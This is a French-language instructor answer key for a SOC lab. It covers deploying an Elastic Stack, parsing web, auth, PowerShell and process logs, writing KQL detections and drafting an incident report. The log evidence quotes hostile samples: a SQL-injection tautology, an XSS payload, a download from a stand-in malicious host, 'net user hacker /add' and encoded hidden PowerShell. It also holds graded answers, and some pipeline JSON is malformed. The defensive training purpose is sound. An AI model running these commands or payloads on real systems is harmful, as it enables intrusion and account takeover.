

LAB 03

Elastic Stack - Ingestion, détection et investigation SOC

Corrigé pédagogique détaillé - Version apprenant et formateur

Finalité - Déployer une stack Elasticsearch/Kibana/Filebeat, ingérer les preuves fournies, construire des détections, corréler les événements et produire un rapport d'incident étayé.

Sources analysées : Lab03.pdf, webserver.log, powershell_eventlog.csv et L03-forensic_lab_evidences.zip

Édition : août 2026

Mode d'emploi du corrigé

Ce document suit le déroulé du laboratoire, mais distingue systématiquement quatre niveaux : la consigne d'origine, la commande corrigée, le résultat attendu et l'interprétation SOC. Les conclusions reposent exclusivement sur les fichiers transmis ; lorsqu'un événement n'est pas présent, il n'est pas inventé.

Point important - Les preuves contiennent deux fichiers PowerShell différents : un CSV détaillé fourni séparément (10 événements) et un CSV plus court présent dans l'archive (3 événements). Ils sont complémentaires mais ne décrivent pas exactement la même séquence.

Objectifs pédagogiques

- Comprendre l'architecture minimale Elastic Stack.
- Déployer Elasticsearch, Kibana et Filebeat avec Docker Compose.
- Transformer des lignes brutes en champs exploitables.
- Écrire des requêtes KQL fiables et reproductibles.
- Distinguer indicateur, alerte, preuve et conclusion.
- Construire une timeline multi-sources et proposer une réponse à incident.

Livrables attendus

Livrable	Contenu attendu	Critère de réussite
Dashboard Kibana	Chronologie, catégories d'événements et principales sources	Les visualisations reposent sur des champs structurés.
Requêtes KQL	Requêtes testées et commentées	Chaque requête renvoie les événements annoncés.
Règle d'alerte	Seuil, fenêtre temporelle et groupement	Le choix est justifié par le jeu de données.
Rapport SOC	Méthode, timeline, IOC, conclusions, recommandations	Aucune conclusion non étayée.

1. Analyse critique du sujet fourni

Le sujet propose Elasticsearch 8.9.0, Kibana 8.9.0 et Filebeat 8.9.0, avec la sécurité désactivée. Cette configuration est acceptable pour un laboratoire isolé, mais plusieurs éléments empêchent d’obtenir directement les champs client.ip, url.path ou http.response.status_code annoncés dans les requêtes et visualisations.

Point du sujet	Problème	Correction pédagogique
Entrée Filebeat type log	Les lignes restent principalement dans message ; le type log est ancien.	Utiliser filestream et ajouter des pipelines d’ingestion.
fields: type	Sans fields_under_root, le champ devient fields.type.	Employer event.dataset ou fields_under_root: true.
CSV PowerShell	Filebeat ne transforme pas automatiquement un CSV arbitraire en champs.	Utiliser un pipeline Elasticsearch avec processeur csv.
Requête UNION SELECT	Aucune ligne fournie ne contient UNION SELECT.	Détecter OR 1=1, sqlmap, phpMyAdmin, XSS et accès à des fichiers sensibles.
Brute force 401	Le webserver.log ne contient qu’un seul 401.	Utiliser auth_failures.csv pour la séquence d’authentification.
Corrélation directe	Les IP et heures ne suffisent pas toujours à établir une causalité.	Présenter les corrélations comme hypothèses avec niveau de confiance.
Alerte >10/min	Le jeu fourni ne contient pas 10 événements de même type en une minute.	Choisir un seuil adapté aux preuves ou générer un jeu complémentaire.

Correction essentielle - Le laboratoire initial demande une SQLi “UNION SELECT”, mais la preuve montre une charge utile de type tautologie : `/index.php?id=1' OR '1'='1`. Une requête correcte doit refléter cette donnée.

2. Architecture retenue

Le corrigé conserve une stack mono-nœud, non sécurisée et réservée à un poste de formation. Filebeat lit quatre sources et sélectionne un pipeline d’ingestion selon le champ fields.log_type. Les pipelines convertissent les lignes en champs structurés proches d’ECS.

Composant	Rôle	Port / volume
Elasticsearch	Stockage, indexation, pipelines et agrégations	9200 ; volume esdata
Kibana	Discover, Data Views, visualisations, dashboard et règles	5601
Filebeat	Lecture incrémentale et expédition des fichiers	Montages en lecture seule + registre Filebeat
Pipelines	Parsing Apache-like, CSV Windows, auth et processus	Créés par API avant l’ingestion

Sécurité - La désactivation de `xpack.security` n’est acceptable que dans un environnement local isolé. Ne jamais exposer cette stack sur un réseau non maîtrisé.

3. Arborescence du laboratoire

```
lab03-elastic/  
├── docker-compose.yml  
├── filebeat.yml  
├── pipelines.sh  
└── data/  
    ├── webserver.log  
    ├── powershell_eventlog.csv  
    ├── powershell_archive.csv  
    ├── auth_failures.csv  
    └── malware_processlist.csv
```

3.1 Préparation

```
mkdir -p ~/lab03-elastic/data  
cd ~/lab03-elastic  
cp /chemin/webserver.log data/  
cp /chemin/powershell_eventlog.csv data/  
unzip /chemin/L03-forensic_lab_evidences.zip -d /tmp/lab03-evidence  
cp /tmp/lab03-evidence/auth_failures.csv data/  
cp /tmp/lab03-evidence/malware_processlist.csv data/  
cp /tmp/lab03-evidence/powershell_eventlog.csv data/powershell_archive.csv
```

Élément	Explication
mkdir -p	Crée l'arborescence même si les dossiers parents n'existent pas.
cp	Copie les preuves sans les modifier.
unzip	Extrait l'archive ; le fichier PowerShell interne est renommé pour éviter d'écraser le CSV détaillé.
Lecture seule	Les fichiers seront montés :ro dans Filebeat afin de limiter les modifications accidentelles.

3.2 Empreintes SHA-256 des fichiers reçus

Fichier	SHA-256
L03-webserver.log	74618e9f9801f638e22437ced91bc0f91fd5e4112ce46f16a8578bb94ad78991
L03-powershell_eventlog.csv	6391e97dd7fe0d154fb1d5e813f7764bb04292b800a9fab8f4b36e1144e945e
L03-forensic_lab_evidences.zip	c0cbb912ced3cf5a116ad9e7ac385910847904664bd2aa0c5f2222a02fd9e197

Bon réflexe forensique - Calculez les empreintes avant et après manipulation. Dans ce lab, les fichiers sont de petite taille, mais la démarche reste la même que pour une acquisition réelle.

4. Docker Compose corrigé

services:

```

elasticsearch:
  image: docker.elastic.co/elasticsearch/elasticsearch:8.9.0
  container_name: lab03-elasticsearch
  environment:
    - discovery.type=single-node
    - xpack.security.enabled=false
    - xpack.monitoring.collection.enabled=false
    - ES_JAVA_OPTS=-Xms1g -Xmx1g
  ports:
    - "9200:9200"
  volumes:
    - esdata:/usr/share/elasticsearch/data
  healthcheck:
    test: ["CMD-SHELL", "curl -fsS http://localhost:9200/_cluster/health?wait_for_status=yellow || exit 1"]
    interval: 10s
    timeout: 5s
    retries: 30

kibana:
  image: docker.elastic.co/kibana/kibana:8.9.0
  container_name: lab03-kibana
  environment:
    - ELASTICSEARCH_HOSTS=http://elasticsearch:9200
  ports:
    - "5601:5601"
  depends_on:
    elasticsearch:
      condition: service_healthy

filebeat:
  image: docker.elastic.co/beats/filebeat:8.9.0
  container_name: lab03-filebeat
  user: root
  command: ["filebeat", "-e", "--strict.perms=false"]
  volumes:
    - ./filebeat.yml:/usr/share/filebeat/filebeat.yml:ro
    - ./data:/evidence:ro
    - filebeatdata:/usr/share/filebeat/data
  depends_on:
    elasticsearch:
      condition: service_healthy

volumes:
  esdata:
  filebeatdata:

```

4.1 Explication ligne par ligne

Directive	Rôle
discovery.type=single-node	Évite la recherche d'autres nœuds et permet un cluster de formation autonome.
xpack.security.enabled=false	Supprime l'authentification et TLS pour simplifier le lab ; déconseillé en production.
ES_JAVA_OPTS	Limite la JVM à 1 Go de mémoire minimale et maximale.
healthcheck yellow	Un cluster mono-nœud peut rester yellow à cause des répliques ; exiger green bloquerait

Directive	Rôle
	inutilement.
condition: service_healthy	Démarre Kibana et Filebeat seulement après disponibilité d'Elasticsearch.
user: root	Permet à Filebeat de lire les fichiers montés malgré des permissions variées.
--strict.perms=false	Tolère un filebeat.yml monté dont le propriétaire n'est pas root dans le conteneur.
filebeatdata	Conserve le registre de lecture et évite les réingestions à chaque redémarrage.

5. Configuration Filebeat corrigée

```
filebeat.inputs:
- type: filestream
  id: webserver
  enabled: true
  paths: ["/evidence/webserver.log"]
  fields: { log_type: web }

- type: filestream
  id: powershell-detailed
  enabled: true
  paths: ["/evidence/powershell_eventlog.csv"]
  fields: { log_type: powershell_detailed }
  exclude_lines: ['^"TimeCreated"']

- type: filestream
  id: powershell-archive
  enabled: true
  paths: ["/evidence/powershell_archive.csv"]
  fields: { log_type: powershell_archive }
  exclude_lines: ['^Date,Time']

- type: filestream
  id: auth-failures
  enabled: true
  paths: ["/evidence/auth_failures.csv"]
  fields: { log_type: auth }
  exclude_lines: ['^Date,Time']

- type: filestream
  id: process-list
  enabled: true
  paths: ["/evidence/malware_processlist.csv"]
  fields: { log_type: process }
  exclude_lines: ['^PID,ProcessName']

output.elasticsearch:
  hosts: ["http://elasticsearch:9200"]
  index: "lab03-events-%{+yyyy.MM.dd}"
  pipelines:
    - pipeline: lab03-web
      when.equals: { fields.log_type: web }
    - pipeline: lab03-powershell-detailed
      when.equals: { fields.log_type: powershell_detailed }
    - pipeline: lab03-powershell-archive
      when.equals: { fields.log_type: powershell_archive }
    - pipeline: lab03-auth
      when.equals: { fields.log_type: auth }
    - pipeline: lab03-process
      when.equals: { fields.log_type: process }

setup.ilm.enabled: false
setup.template.enabled: false
logging.level: info
```

5.1 Pourquoi filestream ?

L'entrée filestream est l'entrée moderne de lecture de fichiers. Chaque entrée reçoit un identifiant unique. Les en-têtes CSV sont ignorés avec `exclude_lines`, puis un pipeline différent est choisi selon `fields.log_type`.

Attention au registre - Filebeat mémorise les offsets lus. Après une modification des pipelines, supprimer le volume `filebeatdata` ou changer les identifiants d'entrée est nécessaire pour rejouer les preuves.

6. Pipelines d'ingestion

Les pipelines suivants sont volontairement pédagogiques. Ils structurent les champs nécessaires aux recherches sans prétendre couvrir toutes les variantes de logs réels.

6.1 Pipeline Web

```
PUT _ingest/pipeline/lab03-web
{
  "processors": [
    {
      "grok": {
        "field": "message",
        "patterns": [
          "%{IP:client.ip} - - [%{HTTPDATE:temp.time}\\] \\\"%{WORD:http.request.method} %{DATA:url.original} HTTP/%{NUMBER:http.version}\\\" %{NUMBER:http.response.status_code:int} %{NUMBER:http.response.body.bytes:int} \\\"%{DATA:http.request.referrer}\\\" \\\"%{DATA:user_agent.original}\\\"\""
        ]
      },
      {
        "date": {
          "field": "temp.time",
          "formats": ["dd/MMM/yyyy:HH:mm:ss Z"]
        },
      },
      {
        "set": {
          "field": "event.dataset",
          "value": "lab03.web"
        },
      },
      {
        "remove": {
          "field": "temp",
          "ignore_missing": true
        }
      }
    ]
  }
}
```

6.2 Pipelines CSV

```
PUT _ingest/pipeline/lab03-auth
{
  "processors": [
    {
      "csv": {
        "field": "message",
        "target_fields": ["temp.date", "temp.time", "source.ip", "user.name", "event.outcome"]
      },
      {
        "set": {
          "field": "event.dataset",
          "value": "lab03.auth"
        },
      },
      {
        "date": {
          "field": "temp.date",
          "formats": ["yyyy-MM-dd"]
        }
      }
    ]
  }
}

PUT _ingest/pipeline/lab03-process
{
  "processors": [
    {
      "csv": {
        "field": "message",
        "target_fields": ["process.pid", "process.name", "process.command_line", "process.parent.pid"]
      },
      {
        "convert": {
          "field": "process.pid",
          "type": "integer"
        },
      },
      {
        "convert": {
          "field": "process.parent.pid",
          "type": "integer"
        },
      },
      {
        "set": {
          "field": "event.dataset",
          "value": "lab03.process"
        }
      }
    ]
  }
}
```

Pour les deux CSV PowerShell, le même principe s'applique. Le pipeline détaillé doit respecter les champs `TimeCreated`, `Id`, `LevelDisplayName`, `ProviderName` et `Message` ; le pipeline de l'archive utilise `Date`, `Time`,

EventID et Message. Dans un environnement réel, un collecteur Windows ou Elastic Agent serait préférable à l'import CSV.

Limite du processeur csv - Le CSV détaillé contient des virgules à l'intérieur du champ Message, mais celles-ci sont protégées par des guillemets. Il faut conserver quote="" et vérifier le résultat avec _simulate.

6.3 Test avant ingestion

```
curl -s http://localhost:9200/_ingest/pipeline/lab03-web | jq
curl -s -X POST http://localhost:9200/_ingest/pipeline/lab03-web/_simulate \
-H 'Content-Type: application/json' \
-d '{"docs":[{"_source":{"message":"192.168.1.60 - - [29/Jul/2025:14:19:40 +0000] \"GET /index.php?id=1 OR 1=1 HTTP/1.1\" 200 512 \"-\" \"sqlmap/1.4.12#stable\""}}]}'
```

7. Démarrage et validation

```
docker compose up -d elasticsearch kibana
# Créer les pipelines avec curl ou Dev Tools
docker compose up -d filebeat
docker compose ps
docker compose logs --tail=100 filebeat
```

Vérification	Commande / résultat attendu
Cluster	curl http://localhost:9200/_cluster/health : status yellow ou green.
Index	curl http://localhost:9200/_cat/indices?v : lab03-events-YYYY.MM.DD.
Documents	curl http://localhost:9200/lab03-events-*/_count : nombre supérieur ou égal aux lignes hors en-têtes.
Kibana	http://localhost:5601 puis création du Data View lab03-events-.*.
Parsing	Dans Discover, client.ip, event.dataset et champs process.* doivent être visibles.

Nombre attendu - Les sources contiennent 10 lignes Web, 10 événements PowerShell détaillés, 3 événements PowerShell d'archive, 5 authentifications et 3 processus : 31 événements, hors éventuels doublons ou réingestions.

8. Analyse réelle des preuves - Web

Horodatage	IP	Requête	HTTP	Interprétation	Sévérité
29/Jul/2025:14:10:22	192.168.1.10	GET /index.html	200	Normal	Faible
29/Jul/2025:14:11:05	192.168.1.15	POST /login.php	401	Échec authentification Web	Faible
29/Jul/2025:14:12:44	192.168.1.20	GET /admin	403	Reconnaissance	Moyenne
29/Jul/2025:14:13:55	192.168.1.25	GET /robots.txt	200	Normal	Faible
29/Jul/2025:14:14:37	192.168.1.30	GET /wp-login.php	404	Reconnaissance	Moyenne
29/Jul/2025:14:15:19	192.168.1.35	GET /phpmyadmin/index.php	200	Injection SQL / automatisation	Élevée
29/Jul/2025:14:16:45	192.168.1.40	GET /etc/passwd	400	Path traversal / fichier sensible	Moyenne
29/Jul/2025:14:17:33	192.168.1.45	GET /search.php?q=<script>alert(1)</script>	200	XSS réfléchi	Élevée
29/Jul/2025:14:18:07	192.168.1.50	GET /backup.tar.gz	200	Exposition de sauvegarde	Élevée
29/Jul/2025:14:19:40	192.168.1.60	GET /index.php?id=1' OR '1'=1	200	Injection SQL / automatisation	Élevée

8.1 Conclusions Web étayées

- 192.168.1.35 utilise explicitement sqlmap et obtient HTTP 200 sur /phpmyadmin/index.php.
- 192.168.1.60 envoie une tautologie SQL et reçoit HTTP 200 ; cela montre que la requête a été servie, mais ne prouve pas à elle seule une extraction de données.
- 192.168.1.45 envoie une charge XSS et reçoit HTTP 200 ; il faut vérifier la réponse applicative pour savoir si le script a été reflété/exécuté.
- 192.168.1.50 télécharge /backup.tar.gz avec HTTP 200 et 4096 octets : exposition probable d'une sauvegarde.
- Le fichier ne contient qu'un seul code 401 : il ne permet pas d'affirmer un brute force Web.

8.2 Requêtes KQL adaptées

```
event.dataset: "lab03.web" and user_agent.original: "*sqlmap*"
event.dataset: "lab03.web" and url.original: "*OR*1*1*"
event.dataset: "lab03.web" and url.original: "*<script>*"
event.dataset: "lab03.web" and url.original: ("*/etc/passwd*" or "*/backup.tar.gz*")
event.dataset: "lab03.web" and http.response.status_code: 401
event.dataset: "lab03.web" and client.ip: "192.168.1.45"
```

Encodage URL - Dans des logs réels, les caractères spéciaux sont souvent encodés (%3Cscript%3E, %27, etc.). Une détection robuste doit rechercher les formes brutes et encodées.

9. Analyse réelle - Authentification

Horodatage	Source	Compte	Résultat
2025-07-29 13:58:01Z	192.168.1.100	admin	Failed

Horodatage	Source	Compte	Résultat
2025-07-29 13:58:05Z	192.168.1.100	admin	Failed
2025-07-29 13:58:09Z	192.168.1.100	root	Failed
2025-07-29 13:58:12Z	192.168.1.100	root	Failed
2025-07-29 13:58:15Z	192.168.1.100	root	Success

La source 192.168.1.100 réalise quatre échecs en 14 secondes, puis réussit sur le compte root à 13:58:15. Ce motif est fortement compatible avec une attaque par essais de mots de passe suivie d'une authentification réussie.

Niveau de confiance - Élevé pour le motif "échecs suivis d'un succès depuis la même IP". La preuve ne permet cependant pas de déterminer comment le mot de passe a été obtenu.

9.1 KQL

```
event.dataset : "lab03.auth" and source.ip : "192.168.1.100"
event.dataset : "lab03.auth" and event.outcome : "Failed"
event.dataset : "lab03.auth" and user.name : "root" and event.outcome : "Success"
```

10. Analyse réelle - PowerShell et Windows

Horodatage	ID	Fournisseur	Classe	Message
2025-07-29T14:23:51Z	4624	Microsoft-Windows-Security-Auditing	Contexte	Un compte a été connecté avec succès. Sujet : NomUtilisateur=ADMIN, IP=192.168.1.45, Type de connexion=3
2025-07-29T14:25:12Z	4625	Microsoft-Windows-Security-Auditing	Échec de connexion	Échec de tentative de connexion. Sujet : NomUtilisateur=TestUser, IP=192.168.1.100, Mot de passe incorrect
2025-07-29T14:27:33Z	4688	Microsoft-Windows-Security-Auditing	Suspect / malveillant	Un nouveau processus a été créé. Nom du processus : powershell.exe, Commande : powershell -ExecutionPolicy Bypass -File script.ps1
2025-07-29T14:29:55Z	4689	Microsoft-Windows-Security-Auditing	Contexte	Un processus a été terminé. Nom du processus : powershell.exe, PID=4356
2025-07-29T14:31:12Z	4104	Microsoft-Windows-PowerShell	Suspect / malveillant	Script PowerShell exécuté : Invoke-WebRequest http://malicious-site.test/download.exe
2025-07-29T14:32:45Z	4100	Microsoft-Windows-PowerShell	Contexte	Échec d'exécution du script en raison de la stratégie d'exécution
2025-07-29T14:34:20Z	7045	Service Control Manager	Suspect / malveillant	Un nouveau service a été installé. Nom=SuspiciousService, Binaire=C:\\Temp\\suspect.exe
2025-07-29T14:36:05Z	4688	Microsoft-Windows-Security-Auditing	Suspect / malveillant	Un nouveau processus a été créé. Nom du processus : cmd.exe, Commande : cmd /c net user hacker /add
2025-07-29T14:38:22Z	4624	Microsoft-Windows-Security-Auditing	Contexte	Connexion réussie depuis une session RDP, NomUtilisateur=Administrator, IP=10.0.0.15
2025-07-29T14:40:10Z	4720	Microsoft-Windows-Security-Auditing	Suspect / malveillant	Un nouveau compte utilisateur a été créé : NomUtilisateur=hacker, Groupe=Administrateurs

10.1 Séquence observable

- 14:23:51 : connexion réseau réussie du compte ADMIN depuis 192.168.1.45.
- 14:27:33 : création de powershell.exe avec ExecutionPolicy Bypass et script.ps1.
- 14:31:12 : Invoke-WebRequest vers malicious-site.test/download.exe.
- 14:34:20 : installation du service SuspiciousService pointant vers C:\Temp\suspect.exe.
- 14:36:05 : commande cmd /c net user hacker /add.
- 14:40:10 : événement 4720 confirmant la création du compte hacker et indiquant le groupe Administrateurs.

Corrélation prudente - L'IP 192.168.1.45 apparaît dans le log Web pour une tentative XSS à 14:17:33 puis dans une connexion Windows réussie à 14:23:51. Cette proximité est notable, mais les fichiers ne prouvent pas qu'il s'agit de la même machine cible ni que l'XSS a causé la connexion.

10.2 Événements PowerShell de l'archive

Horodatage	Event ID	Message
2025-07-29 14:05:11Z	4104	Script PowerShell suspect exécuté : Invoke-Mimikatz
2025-07-29 14:07:25Z	4103	Commande PowerShell encodée détectée
2025-07-29 14:09:43Z	4688	Nouveau processus : powershell.exe -nop -w hidden

Cette source distincte place Invoke-Mimikatz à 14:05:11, une commande encodée à 14:07:25 et powershell -nop -w hidden à 14:09:43. Elle suggère une activité post-exploitation antérieure au log Web, mais ne partage ni hôte ni identifiant de session avec le CSV détaillé.

10.3 KQL

```
event.dataset : ("lab03.powershell_detailed" or "lab03.powershell_archive") and message : "*powershell*"
message : ("*ExecutionPolicy Bypass*" or "*-nop*" or "*-w hidden*" or "*encodée*")
message : ("*Invoke-WebRequest*" or "*Invoke-Mimikatz*")
message : "*SuspiciousService*"
message : "*net user hacker*" or winlog.event_id : 4720
```

11. Analyse réelle - Arbre de processus

PID	Processus	Commande	Parent
2345	svchost.exe	C:\Windows\System32\svchost.exe -k netsvcs	520
3378	powershell.exe	powershell -nop -w hidden -enc SQB...=	2345
3981	evil.exe	C:\Users\Public\evil.exe	3378

L'arbre fourni est : svchost.exe (PID 2345) → powershell.exe (PID 3378) → evil.exe (PID 3981). Le PowerShell est masqué, sans profil et encodé ; il lance ensuite un exécutable dans C:\Users\Public. Cette chaîne est hautement suspecte.

Limite - Le fragment Base64 est tronqué (SQB...=). Il est impossible de le décoder ou d'en déduire la commande complète. Aucun hash de evil.exe n'est fourni.

11.1 KQL

```
event.dataset : "lab03.process" and process.name : "powershell.exe"
event.dataset : "lab03.process" and process.command_line : ("*-enc*" or "*-w hidden*" or "*-nop*")
event.dataset : "lab03.process" and process.name : "evil.exe"
```

12. Timeline consolidée

Temps UTC	Source/IP	Journal	Événement	Confiance
13:58:01-13:58:15	192.168.1.100	Auth	4 échecs puis succès root	Élevé
14:05:11	Non indiqué	PowerShell archive	Invoke-Mimikatz	Élevé
14:07:25	Non indiqué	PowerShell archive	Commande PowerShell encodée	Élevé
14:09:43	Non indiqué	PowerShell archive	powershell -nop -w hidden	Élevé
14:10:22-14:19:40	Plusieurs IP	Web	Reconnaissance, XSS, SQLi, fichier sensible	Variable
14:17:33	192.168.1.45	Web	Charge XSS, réponse 200	Moyen
14:23:51	192.168.1.45	Windows	Connexion réussie ADMIN, type 3	Élevé
14:27:33	Non indiqué	Windows	PowerShell avec ExecutionPolicy Bypass	Élevé
14:31:12	Non indiqué	Windows	Téléchargement download.exe	Élevé
14:34:20	Non indiqué	Windows	Installation SuspiciousService	Élevé
14:36:05	Non indiqué	Windows	net user hacker /add	Élevé
14:40:10	Non indiqué	Windows	Création du compte hacker, administrateur	Élevé

12.1 Scénario d'incident plausible

Les preuves montrent plusieurs activités malveillantes ou très suspectes : compromission probable du compte root après essais, PowerShell furtif/encodé, référence à Invoke-Mimikatz, téléchargement d'un exécutable, création de service et création d'un compte administrateur. Un scénario plausible est une phase d'accès initial

suivie d'exécution, persistance et création de compte. Toutefois, les sources peuvent provenir de systèmes différents ; le rapport doit donc éviter de présenter une chaîne causale unique comme un fait établi.

13. Tableau des IOC et éléments à surveiller

Type	Valeur	Justification
IP	192.168.1.100	4 échecs puis succès root.
IP	192.168.1.45	XSS Web puis connexion Windows ADMIN dans le CSV détaillé.
IP	192.168.1.35	User-Agent sqlmap sur phpMyAdmin.
IP	192.168.1.60	Tautologie SQL avec sqlmap.
Domaine	malicious-site.test	Source de download.exe dans Invoke-WebRequest.
Chemin	C:\Temp\suspect.exe	Binaire du service SuspiciousService.
Chemin	C:\Users\Public\evil.exe	Processus enfant de PowerShell.
Compte	hacker	Compte ajouté puis déclaré administrateur.
Service	SuspiciousService	Service nouvellement installé.
Commande	powershell -nop -w hidden -enc ...	Exécution furtive et encodée.

IOC vs preuve - Un IOC sert à rechercher ou contenir. Il ne constitue pas automatiquement une preuve de malveillance hors contexte.

14. Visualisations Kibana à construire

Visualisation	Axe / agrégation	Filtre
Chronologie globale	Date histogram sur @timestamp, Count	event.dataset : lab03.*
Événements par catégorie	Barres par event.dataset	Aucun ou période du 29/07/2025
Top IP sources	Terms sur client.ip puis source.ip	Web + auth
Codes HTTP	Terms sur http.response.status_code	event.dataset : lab03.web
Activités PowerShell	Table message, ID et horodatage	message : *PowerShell*
Échecs/succès auth	Barres par event.outcome	event.dataset : lab03.auth

14.1 Dashboard attendu

- Sélecteur temporel couvrant le 29 juillet 2025, environ 13:55 à 14:45 UTC.
- Au moins une visualisation temporelle.
- Au moins une visualisation par IP ou compte.
- Une table détaillée des événements critiques.
- Filtres enregistrés pour Web, Auth, PowerShell et Processus.

15. Règles d'alerte adaptées au jeu de données

La règle proposée dans le sujet (>10 événements en une minute) ne se déclenche pas avec les preuves. Les règles suivantes sont mieux adaptées au laboratoire.

Règle	KQL / condition	Seuil
Succès après échecs	event.dataset:lab03.auth et source.ip identique	≥3 Failed puis 1 Success en 1 min ; idéalement règle EQL.
PowerShell furtif	message contient -nop, -w hidden, -enc ou Bypass	≥1 événement en 5 min.
Création de compte	message contient net user ou ID 4720	≥1 événement.
Nouveau service suspect	message contient SuspiciousService ou suspect.exe	≥1 événement.
Outil SQLi	user_agent.original contient sqlmap	≥1 événement.
Sauvegarde exposée	url.original contient backup.tar.gz ET status 200	≥1 événement.

Règle EQL - La corrélation “plusieurs échecs suivis d’un succès” est séquentielle. Une simple règle Threshold compte des événements, mais ne garantit pas leur ordre. EQL ou une règle de corrélation est plus appropriée.

16. Exemple de rapport d'incident corrigé

16.1 Résumé exécutif

L'analyse des journaux transmis met en évidence plusieurs activités hostiles : essais d'authentification suivis d'un succès root depuis 192.168.1.100, utilisation de sqlmap, tentative XSS, accès réussi à une sauvegarde,

exécutions PowerShell furtives, référence à Invoke-Mimikatz, téléchargement d'un exécutable, installation d'un service suspect et création d'un compte administrateur nommé hacker. Le niveau de sévérité global est critique. Les sources ne permettent toutefois pas d'affirmer que tous les événements proviennent d'un même hôte ou d'une seule intrusion.

16.2 Portée et méthodologie

- Vérification des empreintes SHA-256.
- Ingestion séparée de chaque source dans Elastic Stack.
- Parsing en champs structurés avec pipelines d'ingestion.
- Recherche KQL, analyse chronologique et corrélation prudente.
- Classification des constats selon leur niveau de preuve.

16.3 Constats prioritaires

Priorité	Constat	Action immédiate
P1	Compte root potentiellement compromis depuis 192.168.1.100	Réinitialiser les secrets, isoler l'hôte, examiner les connexions.
P1	Service SuspiciousService et C:\Temp\suspect.exe	Désactiver le service, acquérir le binaire, calculer ses hashes.
P1	Compte hacker membre des administrateurs	Désactiver le compte, collecter les événements associés.
P1	PowerShell caché/encodé et evil.exe	Isoler l'hôte, capturer mémoire et disque.
P2	backup.tar.gz accessible avec HTTP 200	Retirer le fichier, vérifier téléchargements et contenu exposé.
P2	SQLi/XSS et reconnaissance	Corriger l'application, analyser WAF et logs applicatifs.

16.4 Recommandations

- Isoler les hôtes concernés avant toute suppression de preuve.
- Acquérir mémoire, disque, journaux Windows complets et configuration des services.
- Révoquer ou modifier les identifiants root, ADMIN et Administrator.
- Désactiver le compte hacker et rechercher d'autres comptes ou groupes modifiés.
- Bloquer temporairement les IP malveillantes après validation du contexte réseau.
- Appliquer une journalisation PowerShell complète (Script Block, Module et transcription).
- Restreindre PowerShell et les scripts par AppLocker/WDAC selon les besoins métier.
- Supprimer les sauvegardes de la racine Web et contrôler les secrets qu'elles contiennent.
- Corriger les vulnérabilités SQLi/XSS et déployer des règles WAF.
- Conserver les preuves et documenter chaque action de réponse.

17. Dépannage

Symptôme	Cause probable	Correction
Aucun index	Filebeat ne se connecte pas ou pipeline absent	docker compose logs filebeat ; vérifier les noms de pipelines.
Tous les champs restent dans message	Pipeline non sélectionné	Vérifier fields.log_type et output.elasticsearch.pipelines.
CSV décalé	Mauvaise gestion des guillemets/virgules	Tester le pipeline avec _simulate et quote="\"".
Événements non rejoués	Régitre Filebeat déjà à la fin	docker compose down -v puis relancer, ou changer les id d'entrée.
Kibana vide	Période temporelle incorrecte	Choisir le 29/07/2025 et une fenêtre incluant 13:58-14:40 UTC.
Cluster health jamais green	Un seul nœud et réplicas	Accepter yellow ou fixer number_of_replicas à 0.
KQL type:"web" ne marche pas	Le champ est fields.type ou event.dataset	Utiliser le champ réellement créé par la configuration corrigée.
Alerte >10/min absente	Jeu insuffisant	Adapter le seuil ou créer une source de test supplémentaire.

18. Grille d'évaluation sur 100 points

Domaine	Points	Indicateurs
Préparation et intégrité	10	Arborescence correcte, empreintes calculées, preuves non modifiées.
Déploiement Docker	15	Services sains, volumes persistants, compréhension des ports.
Ingestion et parsing	20	31 événements attendus, champs structurés et types cohérents.
Requêtes KQL	15	Détections conformes aux preuves, résultats expliqués.
Dashboard	15	Timeline, catégories, IP et tableau d'événements critiques.
Corrélation SOC	15	Timeline multi-sources, prudence sur la causalité et confiance.
Rapport et recommandations	10	Synthèse, IOC, limites et actions prioritaires.

18.1 Barème qualitatif

Niveau	Description
90-100	Travail professionnel, reproductible et parfaitement étayé.
75-89	Très bonne maîtrise ; quelques imprécisions mineures.
60-74	Objectifs principaux atteints, parsing ou interprétation incomplets.
40-59	Stack partiellement fonctionnelle et conclusions peu justifiées.
<40	Livrables incomplets ou absence de preuve reproductible.

19. Questions de validation et corrigé

1. Pourquoi la recherche UNION SELECT du sujet ne renvoie-t-elle rien ?

Correction : Parce qu'aucune preuve fournie ne contient cette chaîne. La SQLi visible utilise une tautologie OR 1=1.

2. Le code HTTP 200 prouve-t-il le succès d'une SQLi ou d'une XSS ?

Correction : Non. Il prouve seulement que le serveur a répondu 200. Le contenu de la réponse et les effets applicatifs doivent être examinés.

3. Quel motif d'authentification est le plus critique ?

Correction : Quatre échecs suivis d'un succès root depuis 192.168.1.100 en 14 secondes.

4. Pourquoi powershell -nop -w hidden -enc est-il suspect ?

Correction : Il supprime le profil, cache la fenêtre et encode la commande, techniques fréquentes d'évasion.

5. Quelle preuve confirme la création du compte hacker ?

Correction : L'événement 4720 à 14:40:10, complété par cmd /c net user hacker /add à 14:36:05.

6. Peut-on relier avec certitude l'XSS de 192.168.1.45 à la connexion ADMIN ?

Correction : Non. La même IP et la proximité temporelle justifient une hypothèse, pas une causalité certaine.

7. Pourquoi utiliser EQL pour l'authentification ?

Correction : Parce que la détection dépend de l'ordre : plusieurs échecs puis un succès pour la même source/compte.

8. Combien d'événements sont attendus ?

Correction : 31 lignes de données au total, hors en-têtes et hors doublons de réingestion.

20. Checklist de remise

- ☐ Les trois conteneurs sont démarrés et sains.
- ☐ Le Data View lab03-events-* est créé.
- ☐ Les événements sont visibles sur la bonne période historique.
- ☐ Les champs Web, Auth et Processus sont structurés.
- ☐ Les requêtes KQL sont enregistrées ou exportées.
- ☐ Le dashboard comporte au moins quatre visualisations utiles.
- ☐ La règle d'alerte est adaptée au volume réel des preuves.
- ☐ La timeline distingue faits, hypothèses et limites.
- ☐ Les IOC sont accompagnés d'une justification.
- ☐ Le rapport contient des recommandations priorisées.

Annexe A - Références techniques

Documentation Elastic consultée pour la modernisation du laboratoire :

- Elastic - Filebeat filestream input : lecture moderne de fichiers et parsers.
- Elastic - Configure the Elasticsearch output : sélection dynamique des pipelines.
- Elastic - Load ingest pipelines : fonctionnement des pipelines utilisés par Filebeat.
- Elastic - Run Filebeat on Docker : exécution de Filebeat en conteneur.
- Elastic - Filebeat modules overview : intérêt des modules et des pipelines prédéfinis.

Le corrigé conserve volontairement la version 8.9.0 indiquée dans le sujet pour garantir la cohérence pédagogique. Pour un nouveau déploiement, vérifier la matrice de compatibilité et utiliser des versions identiques entre Elasticsearch, Kibana et Filebeat.